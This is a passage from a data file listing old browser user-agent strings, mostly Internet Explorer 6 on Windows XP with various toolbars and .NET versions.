2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.1; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; FDM; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; iOpus-I-M; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; icafe8; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 2.8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.40607; .NET CLR 1.1.4322; FDM; MS-RTC LM\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; MEGAUPLOAD 2.0; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; Maxthon; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 6.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 1.7; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 551; QQDownload 661; TencentTraveler 4.0; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 637; .NET CLR 2.0.50727; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 661; GTB6.6; TencentTraveler 4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 681; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.424.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.424.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.0 Build 98)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.0 Build 98; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.5 Build 150)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Sleipnir 2.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.3\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TencentTraveler 4.0; (R1 1.5); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; msn OptimizedIE8;ZHCN)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; Wanadoo 6.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; Media Center PC 3.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 7.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 4.0.00d) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; FreeprodTB; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; yplus 4.3.02d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.01d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.02d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; InfoPath.1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.1.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.1.0; Rogers Hi-Speed Internet; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5; yplus 5.3.01b); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.3.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 